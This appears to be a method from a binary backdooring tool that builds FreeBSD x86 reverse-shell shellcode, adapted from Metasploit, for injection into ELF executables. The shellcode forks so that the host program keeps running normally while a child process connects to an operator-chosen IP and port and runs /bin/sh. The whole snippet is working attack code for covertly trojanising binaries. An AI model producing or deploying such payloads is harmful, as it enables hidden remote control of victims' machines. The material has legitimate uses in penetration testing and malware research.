    def reverse_shell_tcp(self, CavesPicked={}):
        """
        Modified metasploit payload/bsd/x86/shell_reverse_tcp
        to correctly fork the shellcode payload and contiue normal execution.
        """
        if self.PORT is None:
            print ("Must provide port")
            return False

        self.shellcode1 = "\x52"        # push edx
        self.shellcode1 += "\x31\xC0"   # xor eax, eax
        self.shellcode1 += "\xB0\x02"   # mov al, 2
        self.shellcode1 += "\xCD\x80"   # int 80
        self.shellcode1 += "\x5A"       # pop edx
        self.shellcode1 += "\x85\xc0\x74\x07"
        self.shellcode1 += "\xbd"
        #JMP to e_entry
        self.shellcode1 += struct.pack("<I", self.e_entry)
        self.shellcode1 += "\xff\xe5"
        #BEGIN EXTERNAL SHELLCODE
        self.shellcode1 += "\x68"
        self.shellcode1 += self.pack_ip_addresses()
        self.shellcode1 += "\x68\xff\x02"
        self.shellcode1 += struct.pack('!H', self.PORT)
        self.shellcode1 += ("\x89\xe7\x31\xc0\x50"
                            "\x6a\x01\x6a\x02\x6a\x10\xb0\x61\xcd\x80\x57\x50\x50\x6a\x62"
                            "\x58\xcd\x80\x50\x6a\x5a\x58\xcd\x80\xff\x4f\xe8\x79\xf6\x68"
                            "\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x54\x53\x50"
                            "\xb0\x3b\xcd\x80")
        self.shellcode = self.shellcode1
        return (self.shellcode1)
Modified metasploit payload/bsd/x86/shell_reverse_tcp
to correctly fork the shellcode payload and contiue normal execution.
intel/FreeBSDIntelELF32.py